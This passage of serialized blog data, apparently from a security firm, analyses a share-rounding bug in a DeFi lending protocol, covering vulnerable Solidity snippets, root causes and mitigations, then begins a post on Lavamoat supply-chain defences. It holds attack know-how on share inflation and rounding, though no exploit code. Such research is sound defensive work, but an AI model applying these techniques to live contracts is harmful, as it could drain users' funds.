ResultsInBadDebt();\n}\n",[45877],{"type":24,"tag":32,"props":45878,"children":45879},{"__ignoreMap":7},[45880,45911,45919,45927,45934,45956,45969,45976,45997,46027,46039,46051,46058,46082,46099],{"type":24,"tag":83,"props":45881,"children":45882},{"class":85,"line":86},[45883,45888,45893,45897,45902,45907],{"type":24,"tag":83,"props":45884,"children":45885},{"style":3163},[45886],{"type":29,"value":45887},"uint256",{"type":24,"tag":83,"props":45889,"children":45890},{"style":107},[45891],{"type":29,"value":45892}," withdrawValue ",{"type":24,"tag":83,"props":45894,"children":45895},{"style":143},[45896],{"type":29,"value":1275},{"type":24,"tag":83,"props":45898,"children":45899},{"style":107},[45900],{"type":29,"value":45901}," WISE_ORACLE.",{"type":24,"tag":83,"props":45903,"children":45904},{"style":101},[45905],{"type":29,"value":45906},"getTokensInETH",{"type":24,"tag":83,"props":45908,"children":45909},{"style":107},[45910],{"type":29,"value":3208},{"type":24,"tag":83,"props":45912,"children":45913},{"class":85,"line":113},[45914],{"type":24,"tag":83,"props":45915,"children":45916},{"style":107},[45917],{"type":29,"value":45918},"    _poolToken,\n",{"type":24,"tag":83,"props":45920,"children":45921},{"class":85,"line":128},[45922],{"type":24,"tag":83,"props":45923,"children":45924},{"style":107},[45925],{"type":29,"value":45926},"    _amount\n",{"type":24,"tag":83,"props":45928,"children":45929},{"class":85,"line":183},[45930],{"type":24,"tag":83,"props":45931,"children":45932},{"style":107},[45933],{"type":29,"value":2905},{"type":24,"tag":83,"props":45935,"children":45936},{"class":85,"line":203},[45937,45941,45946,45951],{"type":24,"tag":83,"props":45938,"children":45939},{"style":143},[45940],{"type":29,"value":17298},{"type":24,"tag":83,"props":45942,"children":45943},{"style":107},[45944],{"type":29,"value":45945}," WISE_LENDING.",{"type":24,"tag":83,"props":45947,"children":45948},{"style":101},[45949],{"type":29,"value":45950},"lendingPoolData",{"type":24,"tag":83,"props":45952,"children":45953},{"style":107},[45954],{"type":29,"value":45955},"(_poolToken).collateralFactor\n",{"type":24,"tag":83,"props":45957,"children":45958},{"class":85,"line":212},[45959,45964],{"type":24,"tag":83,"props":45960,"children":45961},{"style":143},[45962],{"type":29,"value":45963},"    /",{"type":24,"tag":83,"props":45965,"children":45966},{"style":107},[45967],{"type":29,"value":45968}," PRECISION_FACTOR_E18;\n",{"type":24,"tag":83,"props":45970,"children":45971},{"class":85,"line":256},[45972],{"type":24,"tag":83,"props":45973,"children":45974},{"emptyLinePlaceholder":16},[45975],{"type":29,"value":3422},{"type":24,"tag":83,"props":45977,"children":45978},{"class":85,"line":270},[45979,45983,45988,45992],{"type":24,"tag":83,"props":45980,"children":45981},{"style":3163},[45982],{"type":29,"value":29437},{"type":24,"tag":83,"props":45984,"children":45985},{"style":107},[45986],{"type":29,"value":45987}," state ",{"type":24,"tag":83,"props":45989,"children":45990},{"style":143},[45991],{"type":29,"value":1275},{"type":24,"tag":83,"props":45993,"children":45994},{"style":107},[45995],{"type":29,"value":45996}," borrowPercentageCap\n",{"type":24,"tag":83,"props":45998,"children":45999},{"class":85,"line":302},[46000,46004,46008,46013,46018,46022],{"type":24,"tag":83,"props":46001,"children":46002},{"style":143},[46003],{"type":29,"value":17298},{"type":24,"tag":83,"props":46005,"children":46006},{"style":107},[46007],{"type":29,"value":223},{"type":24,"tag":83,"props":46009,"children":46010},{"style":101},[46011],{"type":29,"value":46012},"overallETHCollateralsWeighted",{"type":24,"tag":83,"props":46014,"children":46015},{"style":107},[46016],{"type":29,"value":46017},"(_nftId) ",{"type":24,"tag":83,"props":46019,"children":46020},{"style":143},[46021],{"type":29,"value":4072},{"type":24,"tag":83,"props":46023,"children":46024},{"style":107},[46025],{"type":29,"value":46026}," withdrawValue)\n",{"type":24,"tag":83,"props":46028,"children":46029},{"class":85,"line":324},[46030,46034],{"type":24,"tag":83,"props":46031,"children":46032},{"style":143},[46033],{"type":29,"value":45963},{"type":24,"tag":83,"props":46035,"children":46036},{"style":107},[46037],{"type":29,"value":46038}," PRECISION_FACTOR_E18\n",{"type":24,"tag":83,"props":46040,"children":46041},{"class":85,"line":345},[46042,46046],{"type":24,"tag":83,"props":46043,"children":46044},{"style":143},[46045],{"type":29,"value":32184},{"type":24,"tag":83,"props":46047,"children":46048},{"style":107},[46049],{"type":29,"value":46050}," borrowAmount;\n",{"type":24,"tag":83,"props":46052,"children":46053},{"class":85,"line":358},[46054],{"type":24,"tag":83,"props":46055,"children":46056},{"emptyLinePlaceholder":16},[46057],{"type":29,"value":3422},{"type":24,"tag":83,"props":46059,"children":46060},{"class":85,"line":367},[46061,46065,46070,46074,46078],{"type":24,"tag":83,"props":46062,"children":46063},{"style":117},[46064],{"type":29,"value":1094},{"type":24,"tag":83,"props":46066,"children":46067},{"style":107},[46068],{"type":29,"value":46069}," (state ",{"type":24,"tag":83,"props":46071,"children":46072},{"style":143},[46073],{"type":29,"value":8320},{"type":24,"tag":83,"props":46075,"children":46076},{"style":90},[46077],{"type":29,"value":12215},{"type":24,"tag":83,"props":46079,"children":46080},{"style":107},[46081],{"type":29,"value":253},{"type":24,"tag":83,"props":46083,"children":46084},{"class":85,"line":406},[46085,46090,46095],{"type":24,"tag":83,"props":46086,"children":46087},{"style":117},[46088],{"type":29,"value":46089},"    revert",{"type":24,"tag":83,"props":46091,"children":46092},{"style":101},[46093],{"type":29,"value":46094}," ResultsInBadDebt",{"type":24,"tag":83,"props":46096,"children":46097},{"style":107},[46098],{"type":29,"value":267},{"type":24,"tag":83,"props":46100,"children":46101},{"class":85,"line":427},[46102],{"type":24,"tag":83,"props":46103,"children":46104},{"style":107},[46105],{"type":29,"value":464},{"type":24,"tag":25,"props":46107,"children":46108},{},[46109],{"type":29,"value":46110},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":24,"tag":25,"props":46112,"children":46113},{},[46114],{"type":29,"value":46115},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":24,"tag":25,"props":46117,"children":46118},{},[46119,46121,46127],{"type":29,"value":46120},"And indeed, ",{"type":24,"tag":2033,"props":46122,"children":46125},{"href":46123,"rel":46124},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[2037],[46126],{"type":29,"value":45831},{"type":29,"value":46128}," rounds up the share value.",{"type":24,"tag":73,"props":46130,"children":46132},{"className":4220,"code":46131,"language":4219,"meta":7,"style":7},"function _calculateShares(\n    uint256 _product,\n    uint256 _pseudo,\n    bool _maxSharePrice\n)\n    private\n    pure\n    returns (uint256)\n{\n    return _maxSharePrice == true\n        ? _product % _pseudo == 0\n            ? _product / _pseudo\n            : _product / _pseudo + 1\n        : _product / _pseudo;\n}\n",[46133],{"type":24,"tag":32,"props":46134,"children":46135},{"__ignoreMap":7},[46136,46152,46169,46185,46198,46205,46213,46221,46241,46248,46269,46290,46312,46341,46362],{"type":24,"tag":83,"props":46137,"children":46138},{"class":85,"line":86},[46139,46143,46148],{"type":24,"tag":83,"props":46140,"children":46141},{"style":90},[46142],{"type":29,"value":31126},{"type":24,"tag":83,"props":46144,"children":46145},{"style":101},[46146],{"type":29,"value":46147}," _calculateShares",{"type":24,"tag":83,"props":46149,"children":46150},{"style":107},[46151],{"type":29,"value":3208},{"type":24,"tag":83,"props":46153,"children":46154},{"class":85,"line":113},[46155,46160,46165],{"type":24,"tag":83,"props":46156,"children":46157},{"style":3163},[46158],{"type":29,"value":46159},"    uint256",{"type":24,"tag":83,"props":46161,"children":46162},{"style":137},[46163],{"type":29,"value":46164}," _product",{"type":24,"tag":83,"props":46166,"children":46167},{"style":107},[46168],{"type":29,"value":989},{"type":24,"tag":83,"props":46170,"children":46171},{"class":85,"line":128},[46172,46176,46181],{"type":24,"tag":83,"props":46173,"children":46174},{"style":3163},[46175],{"type":29,"value":46159},{"type":24,"tag":83,"props":46177,"children":46178},{"style":137},[46179],{"type":29,"value":46180}," _pseudo",{"type":24,"tag":83,"props":46182,"children":46183},{"style":107},[46184],{"type":29,"value":989},{"type":24,"tag":83,"props":46186,"children":46187},{"class":85,"line":183},[46188,46193],{"type":24,"tag":83,"props":46189,"children":46190},{"style":3163},[46191],{"type":29,"value":46192},"    bool",{"type":24,"tag":83,"props":46194,"children":46195},{"style":137},[46196],{"type":29,"value":46197}," _maxSharePrice\n",{"type":24,"tag":83,"props":46199,"children":46200},{"class":85,"line":203},[46201],{"type":24,"tag":83,"props":46202,"children":46203},{"style":107},[46204],{"type":29,"value":2905},{"type":24,"tag":83,"props":46206,"children":46207},{"class":85,"line":212},[46208],{"type":24,"tag":83,"props":46209,"children":46210},{"style":90},[46211],{"type":29,"value":46212},"    private\n",{"type":24,"tag":83,"props":46214,"children":46215},{"class":85,"line":256},[46216],{"type":24,"tag":83,"props":46217,"children":46218},{"style":90},[46219],{"type":29,"value":46220},"    pure\n",{"type":24,"tag":83,"props":46222,"children":46223},{"class":85,"line":270},[46224,46229,46233,46237],{"type":24,"tag":83,"props":46225,"children":46226},{"style":117},[46227],{"type":29,"value":46228},"    returns",{"type":24,"tag":83,"props":46230,"children":46231},{"style":107},[46232],{"type":29,"value":223},{"type":24,"tag":83,"props":46234,"children":46235},{"style":3163},[46236],{"type":29,"value":45887},{"type":24,"tag":83,"props":46238,"children":46239},{"style":107},[46240],{"type":29,"value":2905},{"type":24,"tag":83,"props":46242,"children":46243},{"class":85,"line":302},[46244],{"type":24,"tag":83,"props":46245,"children":46246},{"style":107},[46247],{"type":29,"value":10628},{"type":24,"tag":83,"props":46249,"children":46250},{"class":85,"line":324},[46251,46255,46260,46264],{"type":24,"tag":83,"props":46252,"children":46253},{"style":117},[46254],{"type":29,"value":16725},{"type":24,"tag":83,"props":46256,"children":46257},{"style":107},[46258],{"type":29,"value":46259}," _maxSharePrice ",{"type":24,"tag":83,"props":46261,"children":46262},{"style":143},[46263],{"type":29,"value":8320},{"type":24,"tag":83,"props":46265,"children":46266},{"style":90},[46267],{"type":29,"value":46268}," true\n",{"type":24,"tag":83,"props":46270,"children":46271},{"class":85,"line":345},[46272,46277,46282,46286],{"type":24,"tag":83,"props":46273,"children":46274},{"style":143},[46275],{"type":29,"value":46276},"        ?",{"type":24,"tag":83,"props":46278,"children":46279},{"style":107},[46280],{"type":29,"value":46281}," _product % _pseudo ",{"type":24,"tag":83,"props":46283,"children":46284},{"style":143},[46285],{"type":29,"value":8320},{"type":24,"tag":83,"props":46287,"children":46288},{"style":245},[46289],{"type":29,"value":24029},{"type":24,"tag":83,"props":46291,"children":46292},{"class":85,"line":358},[46293,46298,46303,46307],{"type":24,"tag":83,"props":46294,"children":46295},{"style":143},[46296],{"type":29,"value":46297},"            ?",{"type":24,"tag":83,"props":46299,"children":46300},{"style":107},[46301],{"type":29,"value":46302}," _product ",{"type":24,"tag":83,"props":46304,"children":46305},{"style":143},[46306],{"type":29,"value":4325},{"type":24,"tag":83,"props":46308,"children":46309},{"style":107},[46310],{"type":29,"value":46311}," _pseudo\n",{"type":24,"tag":83,"props":46313,"children":46314},{"class":85,"line":367},[46315,46320,46324,46328,46333,46337],{"type":24,"tag":83,"props":46316,"children":46317},{"style":143},[46318],{"type":29,"value":46319},"            :",{"type":24,"tag":83,"props":46321,"children":46322},{"style":107},[46323],{"type":29,"value":46302},{"type":24,"tag":83,"props":46325,"children":46326},{"style":143},[46327],{"type":29,"value":4325},{"type":24,"tag":83,"props":46329,"children":46330},{"style":107},[46331],{"type":29,"value":46332}," _pseudo ",{"type":24,"tag":83,"props":46334,"children":46335},{"style":143},[46336],{"type":29,"value":4126},{"type":24,"tag":83,"props":46338,"children":46339},{"style":245},[46340],{"type":29,"value":19182},{"type":24,"tag":83,"props":46342,"children":46343},{"class":85,"line":406},[46344,46349,46353,46357],{"type":24,"tag":83,"props":46345,"children":46346},{"style":143},[46347],{"type":29,"value":46348},"        :",{"type":24,"tag":83,"props":46350,"children":46351},{"style":107},[46352],{"type":29,"value":46302},{"type":24,"tag":83,"props":46354,"children":46355},{"style":143},[46356],{"type":29,"value":4325},{"type":24,"tag":83,"props":46358,"children":46359},{"style":107},[46360],{"type":29,"value":46361}," _pseudo;\n",{"type":24,"tag":83,"props":46363,"children":46364},{"class":85,"line":427},[46365],{"type":24,"tag":83,"props":46366,"children":46367},{"style":107},[46368],{"type":29,"value":464},{"type":24,"tag":25,"props":46370,"children":46371},{},[46372,46377],{"type":24,"tag":2655,"props":46373,"children":46374},{},[46375],{"type":29,"value":46376},"Regardless of which way the share rounding occurs, this is a bug",{"type":29,"value":46378},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":24,"tag":25,"props":46380,"children":46381},{},[46382],{"type":29,"value":46383},"This is a really tricky invariant to reason about!",{"type":24,"tag":51,"props":46385,"children":46387},{"id":46386},"root-cause",[46388],{"type":29,"value":46389},"Root Cause",{"type":24,"tag":25,"props":46391,"children":46392},{},[46393],{"type":29,"value":46394},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":24,"tag":25,"props":46396,"children":46397},{},[46398],{"type":29,"value":46399},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":24,"tag":73,"props":46401,"children":46403},{"className":4220,"code":46402,"language":4219,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[46404],{"type":24,"tag":32,"props":46405,"children":46406},{"__ignoreMap":7},[46407],{"type":24,"tag":83,"props":46408,"children":46409},{"class":85,"line":86},[46410,46415,46419,46424,46428],{"type":24,"tag":83,"props":46411,"children":46412},{"style":107},[46413],{"type":29,"value":46414},"totalDepositShares ",{"type":24,"tag":83,"props":46416,"children":46417},{"style":143},[46418],{"type":29,"value":4315},{"type":24,"tag":83,"props":46420,"children":46421},{"style":107},[46422],{"type":29,"value":46423}," _amount ",{"type":24,"tag":83,"props":46425,"children":46426},{"style":143},[46427],{"type":29,"value":4325},{"type":24,"tag":83,"props":46429,"children":46430},{"style":107},[46431],{"type":29,"value":46432}," pseudoTotalPool\n",{"type":24,"tag":25,"props":46434,"children":46435},{},[46436],{"type":29,"value":46437},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":24,"tag":25,"props":46439,"children":46440},{},[46441,46443,46447],{"type":29,"value":46442},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":24,"tag":2655,"props":46444,"children":46445},{},[46446],{"type":29,"value":19657},{"type":29,"value":46448}," integer division?",{"type":24,"tag":51,"props":46450,"children":46452},{"id":46451},"mitigations",[46453],{"type":29,"value":46454},"Mitigations",{"type":24,"tag":25,"props":46456,"children":46457},{},[46458],{"type":29,"value":46459},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":24,"tag":25,"props":46461,"children":46462},{},[46463,46465,46472],{"type":29,"value":46464},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":24,"tag":2033,"props":46466,"children":46469},{"href":46467,"rel":46468},"https://twitter.com/danielvf/status/1746306320553152615",[2037],[46470],{"type":29,"value":46471},"@danielvf notes",{"type":29,"value":46473},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":24,"tag":73,"props":46475,"children":46477},{"className":4220,"code":46476,"language":4219,"meta":7,"style":7},"if (_totalSupply == 0) {\n    liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n   _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[46478],{"type":24,"tag":32,"props":46479,"children":46480},{"__ignoreMap":7},[46481,46505,46552,46586],{"type":24,"tag":83,"props":46482,"children":46483},{"class":85,"line":86},[46484,46488,46493,46497,46501],{"type":24,"tag":83,"props":46485,"children":46486},{"style":117},[46487],{"type":29,"value":1094},{"type":24,"tag":83,"props":46489,"children":46490},{"style":107},[46491],{"type":29,"value":46492}," (_totalSupply ",{"type":24,"tag":83,"props":46494,"children":46495},{"style":143},[46496],{"type":29,"value":8320},{"type":24,"tag":83,"props":46498,"children":46499},{"style":245},[46500],{"type":29,"value":248},{"type":24,"tag":83,"props":46502,"children":46503},{"style":107},[46504],{"type":29,"value":253},{"type":24,"tag":83,"props":46506,"children":46507},{"class":85,"line":113},[46508,46513,46517,46522,46527,46532,46537,46542,46547],{"type":24,"tag":83,"props":46509,"children":46510},{"style":107},[46511],{"type":29,"value":46512},"    liquidity ",{"type":24,"tag":83,"props":46514,"children":46515},{"style":143},[46516],{"type":29,"value":1275},{"type":24,"tag":83,"props":46518,"children":46519},{"style":107},[46520],{"type":29,"value":46521}," Math.",{"type":24,"tag":83,"props":46523,"children":46524},{"style":101},[46525],{"type":29,"value":46526},"sqrt",{"type":24,"tag":83,"props":46528,"children":46529},{"style":107},[46530],{"type":29,"value":46531},"(amount0.",{"type":24,"tag":83,"props":46533,"children":46534},{"style":101},[46535],{"type":29,"value":46536},"mul",{"type":24,"tag":83,"props":46538,"children":46539},{"style":107},[46540],{"type":29,"value":46541},"(amount1)).",{"type":24,"tag":83,"props":46543,"children":46544},{"style":101},[46545],{"type":29,"value":46546},"sub",{"type":24,"tag":83,"props":46548,"children":46549},{"style":107},[46550],{"type":29,"value":46551},"(MINIMUM_LIQUIDITY);\n",{"type":24,"tag":83,"props":46553,"children":46554},{"class":85,"line":128},[46555,46560,46564,46568,46572,46576,46581],{"type":24,"tag":83,"props":46556,"children":46557},{"style":101},[46558],{"type":29,"value":46559},"   _mint",{"type":24,"tag":83,"props":46561,"children":46562},{"style":107},[46563],{"type":29,"value":558},{"type":24,"tag":83,"props":46565,"children":46566},{"style":3163},[46567],{"type":29,"value":32379},{"type":24,"tag":83,"props":46569,"children":46570},{"style":107},[46571],{"type":29,"value":558},{"type":24,"tag":83,"props":46573,"children":46574},{"style":245},[46575],{"type":29,"value":1166},{"type":24,"tag":83,"props":46577,"children":46578},{"style":107},[46579],{"type":29,"value":46580},"), MINIMUM_LIQUIDITY); ",{"type":24,"tag":83,"props":46582,"children":46583},{"style":2735},[46584],{"type":29,"value":46585},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":24,"tag":83,"props":46587,"children":46588},{"class":85,"line":183},[46589,46593,46597],{"type":24,"tag":83,"props":46590,"children":46591},{"style":107},[46592],{"type":29,"value":1317},{"type":24,"tag":83,"props":46594,"children":46595},{"style":117},[46596],{"type":29,"value":378},{"type":24,"tag":83,"props":46598,"children":46599},{"style":107},[46600],{"type":29,"value":125},{"type":24,"tag":25,"props":46602,"children":46603},{},[46604,46606,46613],{"type":29,"value":46605},"Alternatively, ",{"type":24,"tag":2033,"props":46607,"children":46610},{"href":46608,"rel":46609},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[2037],[46611],{"type":29,"value":46612},"storing the conversion rate separately",{"type":29,"value":46614}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":24,"tag":73,"props":46616,"children":46618},{"className":4220,"code":46617,"language":4219,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[46619],{"type":24,"tag":32,"props":46620,"children":46621},{"__ignoreMap":7},[46622,46657],{"type":24,"tag":83,"props":46623,"children":46624},{"class":85,"line":86},[46625,46630,46634,46639,46643,46648,46652],{"type":24,"tag":83,"props":46626,"children":46627},{"style":107},[46628],{"type":29,"value":46629},"accrualIndices.borrowed ",{"type":24,"tag":83,"props":46631,"children":46632},{"style":143},[46633],{"type":29,"value":1275},{"type":24,"tag":83,"props":46635,"children":46636},{"style":107},[46637],{"type":29,"value":46638}," accrualIndices.borrowed ",{"type":24,"tag":83,"props":46640,"children":46641},{"style":143},[46642],{"type":29,"value":4315},{"type":24,"tag":83,"props":46644,"children":46645},{"style":107},[46646],{"type":29,"value":46647}," borrowInterestFactor ",{"type":24,"tag":83,"props":46649,"children":46650},{"style":143},[46651],{"type":29,"value":4325},{"type":24,"tag":83,"props":46653,"children":46654},{"style":107},[46655],{"type":29,"value":46656}," precision;\n",{"type":24,"tag":83,"props":46658,"children":46659},{"class":85,"line":113},[46660,46665,46669,46674,46678,46683,46687],{"type":24,"tag":83,"props":46661,"children":46662},{"style":107},[46663],{"type":29,"value":46664},"accrualIndices.deposited ",{"type":24,"tag":83,"props":46666,"children":46667},{"style":143},[46668],{"type":29,"value":1275},{"type":24,"tag":83,"props":46670,"children":46671},{"style":107},[46672],{"type":29,"value":46673}," accrualIndices.deposited ",{"type":24,"tag":83,"props":46675,"children":46676},{"style":143},[46677],{"type":29,"value":4315},{"type":24,"tag":83,"props":46679,"children":46680},{"style":107},[46681],{"type":29,"value":46682}," depositInterestFactor ",{"type":24,"tag":83,"props":46684,"children":46685},{"style":143},[46686],{"type":29,"value":4325},{"type":24,"tag":83,"props":46688,"children":46689},{"style":107},[46690],{"type":29,"value":46656},{"type":24,"tag":25,"props":46692,"children":46693},{},[46694],{"type":29,"value":46695},"We also want to note some general takeaways:",{"type":24,"tag":25,"props":46697,"children":46698},{},[46699,46701,46706],{"type":29,"value":46700},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":24,"tag":2655,"props":46702,"children":46703},{},[46704],{"type":29,"value":46705},"apply the state changes and check the invariant",{"type":29,"value":161},{"type":24,"tag":25,"props":46708,"children":46709},{},[46710],{"type":29,"value":46711},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":24,"tag":25,"props":46713,"children":46714},{},[46715],{"type":29,"value":46716},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":24,"tag":51,"props":46718,"children":46719},{"id":28683},[46720],{"type":29,"value":18686},{"type":24,"tag":25,"props":46722,"children":46723},{},[46724],{"type":29,"value":46725},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":24,"tag":25,"props":46727,"children":46728},{},[46729],{"type":29,"value":46730},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":24,"tag":2584,"props":46732,"children":46733},{},[46734],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":46736},[46737,46738,46739,46743,46744,46745],{"id":28766,"depth":113,"text":28769},{"id":45660,"depth":113,"text":45663},{"id":45779,"depth":113,"text":45782,"children":46740},[46741,46742],{"id":45790,"depth":128,"text":45793},{"id":45828,"depth":128,"text":45831},{"id":46386,"depth":113,"text":46389},{"id":46451,"depth":113,"text":46454},{"id":28683,"depth":113,"text":18686},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":46750,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":46751,"description":46752,"author":46753,"image":46754,"date":46756,"isFeatured":16,"onBlogPage":16,"body":46757,"_type":2606,"_id":50233,"_source":2608,"_file":50234,"_stem":50235,"_extension":2611},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[30952,11],{"src":46755},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":21,"children":46758,"toc":50212},[46759,46763,46784,46789,46793,46798,46837,46843,46858,46876,46881,46886,46891,46904,47211,47237,47250,47255,47260,47274,47279,47292,47306,47537,47558,47593,47599,47604,47609,47823,47844,47850,47862,47952,47974,48010,48018,48036,48292,48318,48324,48338,48536,48555,48960,48973,48979,48998,49091,49096,49102,49115,49128,49214,49220,49232,49317,49329,49342,49348,49353,49367,49694,49699,49704,49710,49736,49791,49811,49864,49870,49875,49894,49905,50098,50104,50127,50133,50138,50151,50156,50161,50165,50170,50178,50208],{"type":24,"tag":51,"props":46760,"children":46761},{"id":18695},[46762],{"type":29,"value":18698},{"type":24,"tag":25,"props":46764,"children":46765},{},[46766,46773,46775,46782],{"type":24,"tag":2033,"props":46767,"children":46770},{"href":46768,"rel":46769},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[2037],[46771],{"type":29,"value":46772},"Supply chain",{"type":29,"value":46774}," attacks are becoming ",{"type":24,"tag":2033,"props":46776,"children":46779},{"href":46777,"rel":46778},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[2037],[46780],{"type":29,"value":46781},"increasingly popular in Web3",{"type":29,"value":46783},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":24,"tag":25,"props":46785,"children":46786},{},[46787],{"type":29,"value":46788},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":24,"tag":1818,"props":46790,"children":46791},{"id":28766},[46792],{"type":29,"value":28769},{"type":24,"tag":25,"props":46794,"children":46795},{},[46796],{"type":29,"value":46797},"It is important to note that there are three different versions of LavaMoat:",{"type":24,"tag":63,"props":46799,"children":46800},{},[46801,46813,46825],{"type":24,"tag":67,"props":46802,"children":46803},{},[46804,46811],{"type":24,"tag":2033,"props":46805,"children":46808},{"href":46806,"rel":46807},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[2037],[46809],{"type":29,"value":46810},"Lavamoat Browserify",{"type":29,"value":46812}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":24,"tag":67,"props":46814,"children":46815},{},[46816,46823],{"type":24,"tag":2033,"props":46817,"children":46820},{"href":46818,"rel":46819},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[2037],[46821],{"type":29,"value":46822},"NodeJS Lavamoat",{"type":29,"value":46824}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":24,"tag":67,"props":46826,"children":46827},{},[46828,46835],{"type":24,"tag":2033,"props":46829,"children":46832},{"href":46830,"rel":46831},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[2037],[46833],{"type":29,"value":46834},"Lavamoat allow-scripts",{"type":29,"value":46836}," are used to prevent malicious code execution on lifecycle scripts.",{"type":24,"tag":1818,"props":46838,"children":46840},{"id":46839},"lavamoats-security-features",[46841],{"type":29,"value":46842},"Lavamoat's Security Features",{"type":24,"tag":25,"props":46844,"children":46845},{},[46846,46848,46856],{"type":29,"value":46847},"The three most important features of Lavamoat",{"type":24,"tag":15213,"props":46849,"children":46850},{},[46851],{"type":24,"tag":2033,"props":46852,"children":46854},{"href":29375,"ariaDescribedBy":46853,"dataFootnoteRef":7,"id":29377},[15220],[46855],{"type":29,"value":3756},{"type":29,"value":46857}," are:",{"type":24,"tag":16422,"props":46859,"children":46860},{},[46861,46866,46871],{"type":24,"tag":67,"props":46862,"children":46863},{},[46864],{"type":29,"value":46865},"Policy Files",{"type":24,"tag":67,"props":46867,"children":46868},{},[46869],{"type":29,"value":46870},"NPM Anti Hijacking",{"type":24,"tag":67,"props":46872,"children":46873},{},[46874],{"type":29,"value":46875},"Scuttling",{"type":24,"tag":25,"props":46877,"children":46878},{},[46879],{"type":29,"value":46880},"Let's go over them one by one.",{"type":24,"tag":18631,"props":46882,"children":46884},{"id":46883},"policy-files",[46885],{"type":29,"value":46865},{"type":24,"tag":25,"props":46887,"children":46888},{},[46889],{"type":29,"value":46890},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":24,"tag":25,"props":46892,"children":46893},{},[46894,46896,46903],{"type":29,"value":46895},"For example, take the ",{"type":24,"tag":2033,"props":46897,"children":46900},{"href":46898,"rel":46899},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[2037],[46901],{"type":29,"value":46902},"Metamask Snap policy file",{"type":29,"value":195},{"type":24,"tag":73,"props":46905,"children":46907},{"className":77,"code":46906,"language":76,"meta":7,"style":7},"   \"@metamask/providers\": {\n      \"globals\": {\n        \"Event\": true,\n        \"addEventListener\": true,\n        \"chrome.runtime.connect\": true,\n        \"console\": true,\n        \"dispatchEvent\": true,\n        \"document.createElement\": true,\n        \"document.readyState\": true,\n        \"ethereum\": \"write\",\n        \"location.hostname\": true,\n        \"removeEventListener\": true,\n        \"web3\": true\n      },\n      \"packages\": {\n        \"@metamask/object-multiplex\": true,\n        \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[46908],{"type":24,"tag":32,"props":46909,"children":46910},{"__ignoreMap":7},[46911,46923,46938,46958,46977,46997,47017,47037,47057,47077,47098,47118,47137,47153,47160,47175,47195],{"type":24,"tag":83,"props":46912,"children":46913},{"class":85,"line":86},[46914,46919],{"type":24,"tag":83,"props":46915,"children":46916},{"style":187},[46917],{"type":29,"value":46918},"   